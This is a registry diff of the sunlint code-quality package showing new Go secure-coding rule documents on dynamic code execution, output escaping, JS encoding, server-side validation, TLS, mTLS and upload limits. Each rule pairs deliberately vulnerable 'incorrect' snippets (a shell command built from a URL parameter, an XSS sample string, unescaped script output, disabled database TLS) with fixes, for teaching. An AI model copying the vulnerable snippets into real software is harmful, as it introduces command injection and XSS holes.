@sun-asterisk/sunlint 1.3.40 → 1.3.42
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/core/rule-selection-service.js +11 -0
- package/package.json +1 -1
- package/skill-assets/sunlint-code-quality/rules/dart/D001-recommended-lints.md +36 -0
- package/skill-assets/sunlint-code-quality/rules/dart/D002-dispose-resources.md +44 -0
- package/skill-assets/sunlint-code-quality/rules/dart/D003-prefer-widget-classes.md +53 -0
- package/skill-assets/sunlint-code-quality/rules/dart/D004-avoid-shrinkwrap.md +31 -0
- package/skill-assets/sunlint-code-quality/rules/dart/D005-widget-nesting.md +62 -0
- package/skill-assets/sunlint-code-quality/rules/dart/D006-large-callbacks.md +54 -0
- package/skill-assets/sunlint-code-quality/rules/dart/D007-lifecycle-order.md +44 -0
- package/skill-assets/sunlint-code-quality/rules/dart/D008-long-functions.md +37 -0
- package/skill-assets/sunlint-code-quality/rules/dart/D009-function-parameters.md +38 -0
- package/skill-assets/sunlint-code-quality/rules/dart/D010-cyclomatic-complexity.md +46 -0
- package/skill-assets/sunlint-code-quality/rules/dart/D011-named-parameters.md +31 -0
- package/skill-assets/sunlint-code-quality/rules/dart/D012-named-booleans.md +28 -0
- package/skill-assets/sunlint-code-quality/rules/dart/D013-single-public-class.md +34 -0
- package/skill-assets/sunlint-code-quality/rules/dart/D014-safe-collection-access.md +30 -0
- package/skill-assets/sunlint-code-quality/rules/dart/D015-copywith-consistency.md +52 -0
- package/skill-assets/sunlint-code-quality/rules/dart/D016-project-tests.md +32 -0
- package/skill-assets/sunlint-code-quality/rules/dart/D017-review-dependencies.md +24 -0
- package/skill-assets/sunlint-code-quality/rules/dart/D018-no-commented-code.md +34 -0
- package/skill-assets/sunlint-code-quality/rules/dart/D019-single-child-wrappers.md +31 -0
- package/skill-assets/sunlint-code-quality/rules/dart/D020-if-else-limit.md +41 -0
- package/skill-assets/sunlint-code-quality/rules/dart/D021-negated-booleans.md +26 -0
- package/skill-assets/sunlint-code-quality/rules/dart/D022-setstate-usage.md +35 -0
- package/skill-assets/sunlint-code-quality/rules/dart/D023-unnecessary-overrides.md +32 -0
- package/skill-assets/sunlint-code-quality/rules/dart/D024-avoid-unnecessary-statefulwidget.md +45 -0
- package/skill-assets/sunlint-code-quality/rules/dart/D025-nested-ternaries.md +35 -0
- package/skill-assets/sunlint-code-quality/rules/go/C006-verb-noun-functions.md +45 -0
- package/skill-assets/sunlint-code-quality/rules/go/C013-no-dead-code.md +48 -0
- package/skill-assets/sunlint-code-quality/rules/go/C014-dependency-injection.md +85 -0
- package/skill-assets/sunlint-code-quality/rules/go/C017-no-constructor-logic.md +67 -0
- package/skill-assets/sunlint-code-quality/rules/go/C018-generic-errors.md +63 -0
- package/skill-assets/sunlint-code-quality/rules/go/C019-error-log-level.md +50 -0
- package/skill-assets/sunlint-code-quality/rules/go/C020-no-unused-imports.md +45 -0
- package/skill-assets/sunlint-code-quality/rules/go/C022-no-unused-variables.md +34 -0
- package/skill-assets/sunlint-code-quality/rules/go/C023-no-duplicate-names.md +41 -0
- package/skill-assets/sunlint-code-quality/rules/go/C024-centralize-constants.md +55 -0
- package/skill-assets/sunlint-code-quality/rules/go/C029-catch-log-root-cause.md +56 -0
- package/skill-assets/sunlint-code-quality/rules/go/C030-custom-error-classes.md +69 -0
- package/skill-assets/sunlint-code-quality/rules/go/C033-separate-data-access.md +68 -0
- package/skill-assets/sunlint-code-quality/rules/go/C035-error-context-logging.md +48 -0
- package/skill-assets/sunlint-code-quality/rules/go/C041-no-hardcoded-secrets.md +45 -0
- package/skill-assets/sunlint-code-quality/rules/go/C042-boolean-naming.md +42 -0
- package/skill-assets/sunlint-code-quality/rules/go/C052-controller-parsing.md +62 -0
- package/skill-assets/sunlint-code-quality/rules/go/C060-superclass-logic.md +60 -0
- package/skill-assets/sunlint-code-quality/rules/go/C067-no-hardcoded-config.md +51 -0
- package/skill-assets/sunlint-code-quality/rules/go/S003-open-redirect.md +80 -0
- package/skill-assets/sunlint-code-quality/rules/go/S004-no-log-credentials.md +66 -0
- package/skill-assets/sunlint-code-quality/rules/go/S005-server-authorization.md +55 -0
- package/skill-assets/sunlint-code-quality/rules/go/S006-default-credentials.md +47 -0
- package/skill-assets/sunlint-code-quality/rules/go/S007-output-encoding.md +50 -0
- package/skill-assets/sunlint-code-quality/rules/go/S009-approved-crypto.md +63 -0
- package/skill-assets/sunlint-code-quality/rules/go/S010-csprng.md +53 -0
- package/skill-assets/sunlint-code-quality/rules/go/S011-encrypted-client-hello.md +34 -0
- package/skill-assets/sunlint-code-quality/rules/go/S012-secrets-management.md +49 -0
- package/skill-assets/sunlint-code-quality/rules/go/S013-tls-connections.md +61 -0
- package/skill-assets/sunlint-code-quality/rules/go/S016-no-sensitive-query-string.md +42 -0
- package/skill-assets/sunlint-code-quality/rules/go/S017-parameterized-queries.md +36 -0
- package/skill-assets/sunlint-code-quality/rules/go/S019-email-input-sanitization.md +44 -0
- package/skill-assets/sunlint-code-quality/rules/go/S020-eval-code-execution.md +47 -0
- package/skill-assets/sunlint-code-quality/rules/go/S022-context-escaping.md +49 -0
- package/skill-assets/sunlint-code-quality/rules/go/S023-dynamic-js-encoding.md +51 -0
- package/skill-assets/sunlint-code-quality/rules/go/S025-server-validation.md +57 -0
- package/skill-assets/sunlint-code-quality/rules/go/S026-tls-encryption.md +46 -0
- package/skill-assets/sunlint-code-quality/rules/go/S027-mtls-validation.md +52 -0
- package/skill-assets/sunlint-code-quality/rules/go/S028-upload-limits.md +58 -0
- package/skill-assets/sunlint-code-quality/rules/go/S029-csrf-protection.md +53 -0
- package/skill-assets/sunlint-code-quality/rules/go/S030-directory-browsing.md +53 -0
- package/skill-assets/sunlint-code-quality/rules/go/S031-secure-cookie-flag.md +48 -0
- package/skill-assets/sunlint-code-quality/rules/go/S032-httponly-cookie.md +42 -0
- package/skill-assets/sunlint-code-quality/rules/go/S033-samesite-cookie.md +49 -0
- package/skill-assets/sunlint-code-quality/rules/go/S034-host-prefix-cookie.md +44 -0
- package/skill-assets/sunlint-code-quality/rules/go/S035-app-hostnames.md +50 -0
- package/skill-assets/sunlint-code-quality/rules/go/S036-internal-file-paths.md +56 -0
- package/skill-assets/sunlint-code-quality/rules/go/S037-anti-cache-headers.md +43 -0
- package/skill-assets/sunlint-code-quality/rules/go/S039-tls-certificate-validation.md +41 -0
- package/skill-assets/sunlint-code-quality/rules/go/S041-logout-invalidation.md +46 -0
- package/skill-assets/sunlint-code-quality/rules/go/S042-long-lived-sessions.md +58 -0
- package/skill-assets/sunlint-code-quality/rules/go/S044-critical-changes-reauth.md +53 -0
- package/skill-assets/sunlint-code-quality/rules/go/S045-brute-force-protection.md +55 -0
- package/skill-assets/sunlint-code-quality/rules/go/S047-oauth-csrf-protection.md +51 -0
- package/skill-assets/sunlint-code-quality/rules/go/S048-oauth-redirect-validation.md +58 -0
- package/skill-assets/sunlint-code-quality/rules/go/S049-auth-code-expiry.md +52 -0
- package/skill-assets/sunlint-code-quality/rules/go/S050-token-entropy.md +53 -0
- package/skill-assets/sunlint-code-quality/rules/go/S051-password-length.md +49 -0
- package/skill-assets/sunlint-code-quality/rules/go/S052-otp-entropy.md +48 -0
- package/skill-assets/sunlint-code-quality/rules/go/S053-generic-error-messages.md +51 -0
- package/skill-assets/sunlint-code-quality/rules/go/S054-no-default-admin.md +43 -0
- package/skill-assets/sunlint-code-quality/rules/go/S055-content-type-validation.md +52 -0
- package/skill-assets/sunlint-code-quality/rules/go/S056-log-injection.md +40 -0
- package/skill-assets/sunlint-code-quality/rules/go/S057-synchronized-time.md +40 -0
- package/skill-assets/sunlint-code-quality/rules/go/S058-ssrf-protection.md +70 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB001-use-snake-case.md +30 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB002-use-camel-case.md +38 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB003-use-screaming-snake-case.md +26 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB004-predicate-methods.md +36 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB005-dangerous-methods.md +36 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB006-indentation.md +32 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB007-line-length.md +25 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB008-rescue-exception.md +36 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB009-save-bang.md +41 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB010-avoid-n-plus-one.md +32 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB011-use-find-each.md +30 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB012-sql-injection.md +29 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB013-prefer-has-many-through.md +35 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB014-dependent-associations.md +28 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB015-modern-validations.md +29 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB016-thin-controllers.md +45 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB017-avoid-fat-models.md +41 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB018-service-objects.md +36 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB019-avoid-metaprogramming.md +40 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB020-use-pluck.md +29 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB021-use-size.md +27 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB022-order-by-timestamps.md +24 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB023-where-missing.md +24 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB024-method-length.md +41 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB025-parameter-limits.md +28 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB026-avoid-deep-nesting.md +38 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB027-guard-clauses.md +37 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB028-class-length.md +32 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB029-meaningful-names.md +30 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB030-dry-principle.md +37 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB031-mvc-architecture.md +37 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB032-use-concerns.md +31 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB033-moderate-callbacks.md +31 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB034-use-decorators.md +33 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB035-comprehensive-tests.md +32 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB036-frozen-string-literal.md +29 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB037-it-parameter.md +25 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB038-modern-enum-syntax.md +28 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB039-solid-adapters.md +29 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB040-rails-authentication.md +26 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB041-async-query-loading.md +29 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB042-hotwire-turbo.md +30 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB043-use-propshaft.md +27 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB044-structured-logging.md +35 -0
- package/skill-assets/sunlint-code-quality/rules/ruby/RB045-prism-parser.md +29 -0
- package/skill-assets/sunlint-code-quality/rules/swift/SW001-block-based-kvo.md +40 -0
- package/skill-assets/sunlint-code-quality/rules/swift/SW002-class-delegate-protocol.md +36 -0
- package/skill-assets/sunlint-code-quality/rules/swift/SW003-compiler-protocol-init.md +28 -0
- package/skill-assets/sunlint-code-quality/rules/swift/SW004-contains-over-filter-count.md +28 -0
- package/skill-assets/sunlint-code-quality/rules/swift/SW005-convenience-type.md +34 -0
- package/skill-assets/sunlint-code-quality/rules/swift/SW006-discarded-notification-center-observer.md +41 -0
- package/skill-assets/sunlint-code-quality/rules/swift/SW007-discouraged-direct-init.md +28 -0
- package/skill-assets/sunlint-code-quality/rules/swift/SW008-discouraged-optional-boolean.md +32 -0
- package/skill-assets/sunlint-code-quality/rules/swift/SW009-empty-count.md +30 -0
- package/skill-assets/sunlint-code-quality/rules/swift/SW010-empty-string.md +30 -0
- package/skill-assets/sunlint-code-quality/rules/swift/SW011-explicit-init.md +26 -0
- package/skill-assets/sunlint-code-quality/rules/swift/SW012-fatal-error-message.md +28 -0
- package/skill-assets/sunlint-code-quality/rules/swift/SW013-for-where.md +30 -0
- package/skill-assets/sunlint-code-quality/rules/swift/SW014-force-cast.md +26 -0
- package/skill-assets/sunlint-code-quality/rules/swift/SW015-force-try.md +30 -0
- package/skill-assets/sunlint-code-quality/rules/swift/SW016-force-unwrapping.md +32 -0
- package/skill-assets/sunlint-code-quality/rules/swift/SW017-function-parameter-count.md +37 -0
- package/skill-assets/sunlint-code-quality/rules/swift/SW018-large-tuple.md +41 -0
- package/skill-assets/sunlint-code-quality/rules/swift/SW019-legacy-constructor.md +28 -0
- package/skill-assets/sunlint-code-quality/rules/swift/SW020-nesting.md +38 -0
- package/skill-assets/sunlint-code-quality/rules/swift/SW021-no-extension-access-modifier.md +28 -0
- package/skill-assets/sunlint-code-quality/rules/swift/SW022-overridden-super-call.md +30 -0
- package/skill-assets/sunlint-code-quality/rules/swift/SW023-override-in-extension.md +32 -0
- package/skill-assets/sunlint-code-quality/rules/swift/SW024-private-over-fileprivate.md +28 -0
- package/skill-assets/sunlint-code-quality/rules/swift/SW025-private-unit-test.md +32 -0
- package/skill-assets/sunlint-code-quality/rules/swift/SW026-prohibited-super-call.md +29 -0
- package/skill-assets/sunlint-code-quality/rules/swift/SW027-sorted-first-last.md +28 -0
- package/skill-assets/sunlint-code-quality/rules/swift/SW028-syntactic-sugar.md +28 -0
- package/skill-assets/sunlint-code-quality/rules/swift/SW029-unused-closure-parameter.md +28 -0
- package/skill-assets/sunlint-code-quality/rules/swift/SW030-unused-enumerated.md +28 -0
- package/skill-assets/sunlint-code-quality/rules/swift/SW031-unused-optional-binding.md +26 -0
- package/skill-assets/sunlint-code-quality/rules/swift/SW032-valid-ibinspectable.md +26 -0
- package/skill-assets/sunlint-code-quality/rules/swift/SW033-vertical-parameter-alignment.md +36 -0
- package/skill-assets/sunlint-code-quality/rules/swift/SW034-void-return.md +28 -0
- package/skill-assets/sunlint-code-quality/rules/swift/SW035-weak-delegate.md +28 -0
|
@@ -0,0 +1,47 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: Avoid Dynamic Code Execution
|
|
3
|
+
impact: HIGH
|
|
4
|
+
impactDescription: prevents remote code execution vulnerabilities
|
|
5
|
+
tags: eval, code-execution, rce, injection, security
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## Avoid Dynamic Code Execution
|
|
9
|
+
|
|
10
|
+
Executing arbitrary strings as code is extremely dangerous. Attackers can run any code on your server. While Go doesn't have a native `eval()` function, similar risks exist with certain libraries or `os/exec`.
|
|
11
|
+
|
|
12
|
+
**Incorrect (dynamic execution/dangerous OS calls):**
|
|
13
|
+
|
|
14
|
+
```go
|
|
15
|
+
// INSECURE: Executing user-provided command
|
|
16
|
+
cmd := exec.Command("bash", "-c", r.URL.Query().Get("cmd"))
|
|
17
|
+
cmd.Run()
|
|
18
|
+
|
|
19
|
+
// INSECURE: Using a dangerous expression library with unsanitized input
|
|
20
|
+
result, _ := govau.Eval(r.URL.Query().Get("formula"))
|
|
21
|
+
```
|
|
22
|
+
|
|
23
|
+
**Correct (safe alternatives):**
|
|
24
|
+
|
|
25
|
+
```go
|
|
26
|
+
// Use switch/mapping for dynamic behavior
|
|
27
|
+
var operations = map[string]func(int, int) int{
|
|
28
|
+
"add": func(a, b int) int { return a + b },
|
|
29
|
+
"subtract": func(a, b int) int { return a - b },
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
opFunc, ok := operations[r.FormValue("op")]
|
|
33
|
+
if !ok {
|
|
34
|
+
http.Error(w, "Invalid operation", 400)
|
|
35
|
+
return
|
|
36
|
+
}
|
|
37
|
+
result := opFunc(a, b)
|
|
38
|
+
|
|
39
|
+
// Use safe parsers for math
|
|
40
|
+
// import "github.com/Knetic/govaluate"
|
|
41
|
+
expression, _ := govaluate.NewEvaluable("10 + x")
|
|
42
|
+
parameters := make(map[string]interface{})
|
|
43
|
+
parameters["x"] = 5
|
|
44
|
+
result, _ := expression.Evaluate(parameters)
|
|
45
|
+
```
|
|
46
|
+
|
|
47
|
+
**Tools:** `gosec` (G204), Semgrep, Code Review
|
|
@@ -0,0 +1,49 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: Escape Data By Output Context
|
|
3
|
+
impact: MEDIUM
|
|
4
|
+
impactDescription: ensures correct encoding for each output context
|
|
5
|
+
tags: xss, escaping, context, encoding, security
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## Escape Data By Output Context
|
|
9
|
+
|
|
10
|
+
Different contexts require different escaping strategies. Using HTML encoding in a JavaScript context doesn't prevent XSS.
|
|
11
|
+
|
|
12
|
+
**Incorrect (wrong encoding for context):**
|
|
13
|
+
|
|
14
|
+
```go
|
|
15
|
+
// Wrong: same escape for all contexts
|
|
16
|
+
escaped := html.EscapeString(userInput)
|
|
17
|
+
fmt.Fprintf(w, "<script>var x = '%s';</script>", escaped) // Still vulnerable!
|
|
18
|
+
|
|
19
|
+
// Wrong: no header injection protection
|
|
20
|
+
w.Header().Set("X-Custom", userInput) // Header injection!
|
|
21
|
+
```
|
|
22
|
+
|
|
23
|
+
**Correct (context-appropriate encoding):**
|
|
24
|
+
|
|
25
|
+
```go
|
|
26
|
+
import (
|
|
27
|
+
"encoding/json"
|
|
28
|
+
"html"
|
|
29
|
+
"net/url"
|
|
30
|
+
"strings"
|
|
31
|
+
)
|
|
32
|
+
|
|
33
|
+
// HTML content context
|
|
34
|
+
fmt.Fprintf(w, "<p>%s</p>", html.EscapeString(userInput))
|
|
35
|
+
|
|
36
|
+
// JavaScript context
|
|
37
|
+
jsData, _ := json.Marshal(userInput)
|
|
38
|
+
fmt.Fprintf(w, "<script>var x = %s;</script>", jsData)
|
|
39
|
+
|
|
40
|
+
// URL parameter context
|
|
41
|
+
urlParam := url.QueryEscape(userInput)
|
|
42
|
+
http.Redirect(w, r, "/search?q="+urlParam, 302)
|
|
43
|
+
|
|
44
|
+
// HTTP header context - strip CRLF
|
|
45
|
+
safeHeader := strings.NewReplacer("\r", "", "\n", "").Replace(userInput)
|
|
46
|
+
w.Header().Set("X-Custom", safeHeader)
|
|
47
|
+
```
|
|
48
|
+
|
|
49
|
+
**Tools:** `html/template` (handles context automatically), `gosec`
|
|
@@ -0,0 +1,51 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: Output Encoding For Dynamic JS/JSON
|
|
3
|
+
impact: HIGH
|
|
4
|
+
impactDescription: prevents injection in JavaScript contexts
|
|
5
|
+
tags: xss, javascript, json, encoding, security
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## Output Encoding For Dynamic JS/JSON
|
|
9
|
+
|
|
10
|
+
Embedding user data in JavaScript or JSON requires proper encoding to prevent code injection.
|
|
11
|
+
|
|
12
|
+
**Incorrect (unescaped data in JS):**
|
|
13
|
+
|
|
14
|
+
```go
|
|
15
|
+
// XSS in inline script
|
|
16
|
+
func ProfileHandler(w http.ResponseWriter, r *http.Request) {
|
|
17
|
+
username := r.Context().Value("username").(string) // "</script><script>alert('xss')"
|
|
18
|
+
fmt.Fprintf(w, "<script>var user = '%s';</script>", username)
|
|
19
|
+
}
|
|
20
|
+
```
|
|
21
|
+
|
|
22
|
+
**Correct (proper JSON encoding):**
|
|
23
|
+
|
|
24
|
+
```go
|
|
25
|
+
func ProfileHandler(w http.ResponseWriter, r *http.Request) {
|
|
26
|
+
user := struct {
|
|
27
|
+
Name string `json:"name"`
|
|
28
|
+
}{
|
|
29
|
+
Name: "User Name",
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
// json.Marshal properly escapes special characters
|
|
33
|
+
safeData, _ := json.Marshal(user)
|
|
34
|
+
|
|
35
|
+
fmt.Fprintf(w, `
|
|
36
|
+
<script>
|
|
37
|
+
var user = %s;
|
|
38
|
+
</script>
|
|
39
|
+
`, safeData)
|
|
40
|
+
}
|
|
41
|
+
|
|
42
|
+
// Using html/template (SAFE)
|
|
43
|
+
tmpl := template.Must(template.New("profile").Parse(`
|
|
44
|
+
<script>
|
|
45
|
+
var user = {{.}};
|
|
46
|
+
</script>
|
|
47
|
+
`))
|
|
48
|
+
tmpl.Execute(w, user) // Automically encodes as JSON for JS context
|
|
49
|
+
```
|
|
50
|
+
|
|
51
|
+
**Tools:** `html/template`, `json.Marshal`
|
|
@@ -0,0 +1,57 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: Always Validate Client Data Server-side
|
|
3
|
+
impact: MEDIUM
|
|
4
|
+
impactDescription: ensures input validation cannot be bypassed
|
|
5
|
+
tags: validation, server-side, input, sanitization, security
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## Always Validate Client Data Server-side
|
|
9
|
+
|
|
10
|
+
Client-side validation is for UX only - it can be bypassed easily. All input must be validated server-side.
|
|
11
|
+
|
|
12
|
+
**Incorrect (trusting client validation):**
|
|
13
|
+
|
|
14
|
+
```go
|
|
15
|
+
// No server validation - trusting frontend
|
|
16
|
+
func TransferHandler(w http.ResponseWriter, r *http.Request) {
|
|
17
|
+
amount, _ := strconv.Atoi(r.FormValue("amount"))
|
|
18
|
+
toAccount := r.FormValue("toAccount")
|
|
19
|
+
transferMoney(r.Context().Value("userId").(string), toAccount, amount)
|
|
20
|
+
}
|
|
21
|
+
```
|
|
22
|
+
|
|
23
|
+
**Correct (comprehensive server validation):**
|
|
24
|
+
|
|
25
|
+
```go
|
|
26
|
+
import "github.com/go-playground/validator/v10"
|
|
27
|
+
|
|
28
|
+
type TransferRequest struct {
|
|
29
|
+
Amount int `validate:"required,gt=0,lte=10000"`
|
|
30
|
+
ToAccount string `validate:"required,printascii,len=20"`
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
func TransferHandler(w http.ResponseWriter, r *http.Request) {
|
|
34
|
+
var req TransferRequest
|
|
35
|
+
// Parse and validate
|
|
36
|
+
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
|
37
|
+
http.Error(w, "Invalid request", 400)
|
|
38
|
+
return
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
validate := validator.New()
|
|
42
|
+
if err := validate.Struct(req); err != nil {
|
|
43
|
+
http.Error(w, err.Error(), 400)
|
|
44
|
+
return
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
// Additional business validation
|
|
48
|
+
if !accountExists(req.ToAccount) {
|
|
49
|
+
http.Error(w, "Account not found", 404)
|
|
50
|
+
return
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
transferMoney(r.Context().Value("userId").(string), req.ToAccount, req.Amount)
|
|
54
|
+
}
|
|
55
|
+
```
|
|
56
|
+
|
|
57
|
+
**Tools:** `go-playground/validator`, `ozzo-validation`, `asaskevich/govalidator`
|
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: TLS Encryption For All Connections
|
|
3
|
+
impact: CRITICAL
|
|
4
|
+
impactDescription: protects data in transit from interception
|
|
5
|
+
tags: tls, encryption, https, transport, security
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## TLS Encryption For All Connections
|
|
9
|
+
|
|
10
|
+
All network communications must use TLS to prevent eavesdropping and man-in-the-middle attacks.
|
|
11
|
+
|
|
12
|
+
**Incorrect (unencrypted connections):**
|
|
13
|
+
|
|
14
|
+
```go
|
|
15
|
+
// HTTP instead of HTTPS
|
|
16
|
+
http.Get("http://api.example.com/data")
|
|
17
|
+
|
|
18
|
+
// Unencrypted database connection
|
|
19
|
+
sql.Open("postgres", "host=db.example.com sslmode=disable")
|
|
20
|
+
```
|
|
21
|
+
|
|
22
|
+
**Correct (TLS everywhere):**
|
|
23
|
+
|
|
24
|
+
```go
|
|
25
|
+
// HTTPS for all external calls
|
|
26
|
+
http.Get("https://api.example.com/data")
|
|
27
|
+
|
|
28
|
+
// TLS for database
|
|
29
|
+
sql.Open("postgres", "host=db.example.com sslmode=verify-full")
|
|
30
|
+
|
|
31
|
+
// HSTS header in Go
|
|
32
|
+
func hstsMiddleware(next http.Handler) http.Handler {
|
|
33
|
+
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
|
34
|
+
w.Header().Set("Strict-Transport-Security", "max-age=31536000; includeSubDomains")
|
|
35
|
+
next.ServeHTTP(w, r)
|
|
36
|
+
})
|
|
37
|
+
}
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
**Requirements:**
|
|
41
|
+
- All HTTP endpoints must redirect to HTTPS
|
|
42
|
+
- Database connections must use TLS (verify-full)
|
|
43
|
+
- Internal service-to-service calls (gRPC/HTTP) must use TLS
|
|
44
|
+
- HSTS headers should be enabled
|
|
45
|
+
|
|
46
|
+
**Tools:** `crypto/tls`, SSLyze, Qualys SSL Labs
|
|
@@ -0,0 +1,52 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: Validate mTLS Certificates Before Auth
|
|
3
|
+
impact: CRITICAL
|
|
4
|
+
impactDescription: ensures mutual authentication between services
|
|
5
|
+
tags: mtls, certificates, authentication, service-mesh, security
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## Validate mTLS Certificates Before Auth
|
|
9
|
+
|
|
10
|
+
Mutual TLS ensures both parties are authenticated. Always validate client certificates before processing requests.
|
|
11
|
+
|
|
12
|
+
**Incorrect (skipping certificate validation):**
|
|
13
|
+
|
|
14
|
+
```go
|
|
15
|
+
// Accepting any client certificate
|
|
16
|
+
server := &http.Server{
|
|
17
|
+
TLSConfig: &tls.Config{
|
|
18
|
+
ClientAuth: tls.RequestClientCert, // Does NOT reject invalid certs
|
|
19
|
+
},
|
|
20
|
+
}
|
|
21
|
+
```
|
|
22
|
+
|
|
23
|
+
**Correct (proper mTLS validation):**
|
|
24
|
+
|
|
25
|
+
```go
|
|
26
|
+
// Load CA cert
|
|
27
|
+
caCert, _ := os.ReadFile("ca.crt")
|
|
28
|
+
caCertPool := x509.NewCertPool()
|
|
29
|
+
caCertPool.AppendCertsFromPEM(caCert)
|
|
30
|
+
|
|
31
|
+
tlsConfig := &tls.Config{
|
|
32
|
+
ClientCAs: caCertPool,
|
|
33
|
+
ClientAuth: tls.RequireAndVerifyClientCert, // Require AND Verify
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
server := &http.Server{
|
|
37
|
+
TLSConfig: tlsConfig,
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
// Additional validation in handler
|
|
41
|
+
func handler(w http.ResponseWriter, r *http.Request) {
|
|
42
|
+
if len(r.TLS.PeerCertificates) > 0 {
|
|
43
|
+
cert := r.TLS.PeerCertificates[0]
|
|
44
|
+
if cert.Subject.CommonName != "trusted-service" {
|
|
45
|
+
http.Error(w, "Forbidden", 403)
|
|
46
|
+
return
|
|
47
|
+
}
|
|
48
|
+
}
|
|
49
|
+
}
|
|
50
|
+
```
|
|
51
|
+
|
|
52
|
+
**Tools:** `crypto/tls`, `crypto/x509`, Service Mesh (Istio, Linkerd)
|
|
@@ -0,0 +1,58 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: Limit Upload File Size And Count
|
|
3
|
+
impact: MEDIUM
|
|
4
|
+
impactDescription: prevents denial of service attacks
|
|
5
|
+
tags: upload, file-size, dos, limits, security
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## Limit Upload File Size And Count
|
|
9
|
+
|
|
10
|
+
Unlimited uploads can exhaust disk space and memory, causing denial of service.
|
|
11
|
+
|
|
12
|
+
**Incorrect (no limits):**
|
|
13
|
+
|
|
14
|
+
```go
|
|
15
|
+
func UploadHandler(w http.ResponseWriter, r *http.Request) {
|
|
16
|
+
r.ParseMultipartForm(32 << 20) // 32MB in memory, but no total limit
|
|
17
|
+
file, _, _ := r.FormFile("file")
|
|
18
|
+
}
|
|
19
|
+
```
|
|
20
|
+
|
|
21
|
+
**Correct (enforce limits):**
|
|
22
|
+
|
|
23
|
+
```go
|
|
24
|
+
func UploadHandler(w http.ResponseWriter, r *http.Request) {
|
|
25
|
+
// 1. Limit total request body size
|
|
26
|
+
r.Body = http.MaxBytesReader(w, r.Body, 5<<20) // 5MB limit
|
|
27
|
+
|
|
28
|
+
err := r.ParseMultipartForm(5 << 20)
|
|
29
|
+
if err != nil {
|
|
30
|
+
http.Error(w, "File too large or invalid request", http.StatusRequestEntityTooLarge)
|
|
31
|
+
return
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
// 2. Validate file type
|
|
35
|
+
file, header, _ := r.FormFile("file")
|
|
36
|
+
buffer := make([]byte, 512)
|
|
37
|
+
file.Read(buffer)
|
|
38
|
+
contentType := http.DetectContentType(buffer)
|
|
39
|
+
|
|
40
|
+
allowedTypes := map[string]bool{
|
|
41
|
+
"image/jpeg": true,
|
|
42
|
+
"image/png": true,
|
|
43
|
+
"application/pdf": true,
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
if !allowedTypes[contentType] {
|
|
47
|
+
http.Error(w, "Invalid file type", 400)
|
|
48
|
+
return
|
|
49
|
+
}
|
|
50
|
+
}
|
|
51
|
+
```
|
|
52
